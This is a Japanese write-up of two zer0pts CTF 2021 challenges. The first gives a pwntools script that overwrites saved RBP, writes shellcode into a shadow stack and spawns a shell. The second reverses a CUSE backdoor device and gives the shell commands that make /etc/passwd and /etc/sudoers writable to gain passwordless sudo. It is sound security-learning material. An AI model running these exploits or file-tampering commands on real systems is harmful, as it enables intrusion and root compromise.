zer0pts CTF 2021 writeup
2021-3-6 09:00:00 (JST) ~ 2020-3-7 21:00:00 (JST)に開催されたzer0pts CTF 2021のWriteupです。
0x62EEN7EAという個人チームで出場して、134位でした。
warmup問しか解けませんでしたがとても楽しめました。
[pwn] Not beginner's stack
FOR_BEGINNERS.mdとmain.S、challという3つのファイルが渡されます。
以下はmain.Sです。
global _start section .text %macro call 1 ;; __stack_shadow[__stack_depth++] = return_address; mov ecx, [__stack_depth] mov qword [__stack_shadow + rcx * 8], %%return_address inc dword [__stack_depth] ;; goto function jmp %1 %%return_address: %endmacro %macro ret 0 ;; goto __stack_shadow[--__stack_depth]; dec dword [__stack_depth] mov ecx, [__stack_depth] jmp qword [__stack_shadow + rcx * 8] %endmacro _start: call notvuln call exit notvuln: ;; char buf[0x100]; enter 0x100, 0 ;; vuln(); call vuln ;; write(1, "Data: ", 6); mov edx, 6 mov esi, msg_data xor edi, edi inc edi call write ;; read(0, buf, 0x100); mov edx, 0x100 lea rsi, [rbp-0x100] xor edi, edi call read ;; return 0; xor eax, eax ret vuln: ;; char buf[0x100]; enter 0x100, 0 ;; write(1, "Data: ", 6); mov edx, 6 mov esi, msg_data xor edi, edi inc edi call write ;; read(0, buf, 0x1000); mov edx, 0x1000 ; [!] vulnerability lea rsi, [rbp-0x100] xor edi, edi call read ;; return; leave ret read: xor eax, eax syscall ret write: xor eax, eax inc eax syscall ret exit: mov eax, 60 syscall hlt section .data msg_data: db "Data: " __stack_depth: dd 0 section .bss __stack_shadow: resb 1024
checksecでchallのセキュリティ機構を調べます。
$ checksec chall [*] '/home/vagrant/zer0pts/not_beginners_stack/chall' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
vuln関数にStack buffer overflowの脆弱性があるのですが、リターンアドレスがスタック上にないので書き換えられません。
notvuln関数内のreadに渡すbufのアドレスはrbp - 0x100
となっています。vuln関数でリターンアドレスは書き換えられないのですがrbpの値は書き換えられます。そのため、rbpを__stack_shadow
のアドレスに0x100足した値にしてやるとnotvuln関数内のreadで__stack_shadow
に好きな値を書き込めるようになります。
NX disabledとなっているので、シェルコードを適当に配置してそのアドレスに飛ばしてやればシェルを取ることができます。
# solve.py from pwn import * context.arch = "amd64" stack_shadow = 0x600234 p = remote('pwn.ctf.zer0pts.com', 9011) p.recvuntil('Data: ') payload = b'A' * 0x100 # overwrite rbp payload += p64(stack_shadow + 0x100) p.send(payload) # | | # stack shadow +--------------------+ # 0x600234 | 0x60023c | <- __stack_shadow[0] # +--------------------+ # 0x60023c | 0x600244 | <- ret addr # +--------------------+ # 0x600244 | shellcode | # +--------------------+ # | | p.recvuntil('Data: ') # overwrite __stack_shadow[0] payload = p64(stack_shadow + 8) # ret addr payload += p64(stack_shadow + 16) # shellcode payload += asm(shellcraft.sh()) p.send(payload) p.interactive()
$ python solve.py [+] Opening connection to pwn.ctf.zer0pts.com on port 9011: Done [*] Switching to interactive mode $ ls chall flag-4c57150ed5cda2a8570c94eb5a9a5f9f.txt redir.sh $ cat flag-4c57150ed5cda2a8570c94eb5a9a5f9f.txt zer0pts{1nt3rm3d14t3_pwn3r5_l1k3_2_0v3rwr1t3_s4v3d_RBP}
[rev] infected
backdoorという実行ファイルが渡されます。このファイルが接続先で動作しているようです。
backdoorをghidraでデコンパイルします。main関数はregister_backdoorを呼び出しているだけです。register_backdoorのデコンパイル結果を以下に示します。
void register_backdoor(undefined4 param_1,undefined8 param_2) { long in_FS_OFFSET; undefined local_38 [8]; undefined4 local_30; char **local_28; undefined4 local_20; char *local_18; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_18 = "DEVNAME=backdoor"; memset(local_38,0,0x20); local_30 = 1; local_28 = &local_18; local_20 = 1; cuse_lowlevel_main(param_1,param_2,local_38,devops,0); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
この関数の中でcuse_lowlevel_main
という関数を呼び出しています。この関数はlibfuseというライブラリの関数です。
どのような関数なのか調べるためにソースコードを見ると以下のように定義されていることがわかりました。
int cuse_lowlevel_main(int argc, char *argv[], const struct cuse_info *ci, const struct cuse_lowlevel_ops *clop, void *userdata);
この中で重要なのはcuse_lowlevel_ops
という構造体で、openやwriteされたときに呼び出す関数をここで設定できるようになっています。
register_backdoor
に型を適用し、読みやすいよう変数に名前をつけると以下のようになります。
void register_backdoor(int argc,char **argv) { long in_FS_OFFSET; cuse_info info; char *local_18; long canary; canary = *(long *)(in_FS_OFFSET + 0x28); local_18 = "DEVNAME=backdoor"; memset(&info,0,0x20); info.dev_info_argc = 1; info._16_8_ = &local_18; cuse_lowlevel_main(argc,argv,&info,&devops,0); if (canary != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
上記のcuse_lowlevel_mainの定義におけるconst struct cuse_lowlevel_ops *clop
はregister_backdoor内ではdevops
となっています。devopsは以下のとおりです。
ここからwriteされたときにbackdoor_write
が、openされたときにbackdoor_open
が呼び出されることがわかります。
backdoor_write関数を見ていきます。
void backdoor_write(fuse_req_t req,char *buf,size_t size,off_t off,fuse_file_info *fi) { int iVar1; __mode_t __mode; char *__s; char *__s1; char *__file; char *__nptr; long in_FS_OFFSET; stat64 local_a8; long canary; canary = *(long *)(in_FS_OFFSET + 0x28); __s = strndup((char *)size,off); if (__s == (char *)0x0) { fuse_reply_err(buf,0x16); goto LAB_00100c8c; } __s1 = strtok(__s,":"); __file = strtok((char *)0x0,":"); __nptr = strtok((char *)0x0,":"); if (((__s1 == (char *)0x0) || (__file == (char *)0x0)) || (__nptr == (char *)0x0)) { fuse_reply_err(buf,0x16); } else { iVar1 = strncmp(__s1,"b4ckd00r",8); if (iVar1 == 0) { stat64(__file,&local_a8); if ((local_a8.st_mode & 0xf000) == 0x8000) { __mode = atoi(__nptr); iVar1 = chmod(__file,__mode); if (iVar1 == 0) { fuse_reply_write(buf,off,off); goto LAB_00100c7d; } } fuse_reply_err(buf,0x16); } else { fuse_reply_err(buf,0x16); } } LAB_00100c7d: free(__s); LAB_00100c8c: if (canary != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
この関数で行っていることを大まかにまとめると
- 書き込まれた文字列が
__s1:__file:__nptr
という形式かチェック - 以下の条件を満たしていれば
__file
で与えた名前のファイルのパーミッションを__nptr
に変更する__s1
が"b4ckd00r"__file
で与えた名前のファイルのst_modeが0x8000
例えば、"b4ckd00r:/etc/passwd:4095"と書き込むと/etc/passwdに誰でも書き込み、読み込みできるようになり実行も行えるようになります。
backdoorは/dev/backdoor
にあるので、ここに上記のような文字列を書き込むとパーミッションを書き換えられます。
直接rootのパーミッションを書き換えようとしたところ失敗したため以下の手順で解きました。
- /etc/passwdと/etc/sudoersのパーミッションを書き換え、書き込み可能にする
- /etc/passwdに現在のユーザ(sudo)を追加する
- /etc/sudoersに"ALL ALL=NOPASSWD: ALL" を追加し誰でもパスワード入力なしでsudoを使えるようにする
- sudoを使ってflagを表示する
$ nc any.ctf.zer0pts.com 11011 sha256("????DRn4kuZA_8eThpLoQZQ_") = c4473aa00cef8764770d47eee78de96bfd8640b40a4154a393572d5c4e34f2d4 NeQO [+] Correct / $ id uid=1000 gid=1000(sudo) groups=1000(sudo) / $ echo "b4ckd00r:/etc/passwd:4095" > /dev/backdoor echo "b4ckd00r:/etc/passwd:4095" > /dev/backdoor / $ echo "b4ckd00r:/etc/sudoers:4095" > /dev/backdoor echo "b4ckd00r:/etc/sudoers:4095" > /dev/backdoor / $ echo "sudo:hoge:1000:1000::/bin/bash" >> /etc/passwd echo "sudo:hoge:1000:1000::/bin/bash" >> /etc/passwd / $ echo "ALL ALL=NOPASSWD: ALL" >> /etc/sudoers echo "ALL ALL=NOPASSWD: ALL" >> /etc/sudoers / $ echo "b4ckd00r:/etc/sudoers:288" > /dev/backdoor echo "b4ckd00r:/etc/sudoers:288" > /dev/backdoor / $ sudo /bin/ls root sudo /bin/ls root flag-b40d08b2f732b94d5ba34730c052d7e3.txt / $ sudo /bin/cat /root/flag-b40d08b2f732b94d5ba34730c052d7e3.txt sudo /bin/cat /root/flag-b40d08b2f732b94d5ba34730c052d7e3.txt zer0pts{exCUSE_m3_bu7_d0_u_m1nd_0p3n1ng_7h3_b4ckd00r?} / $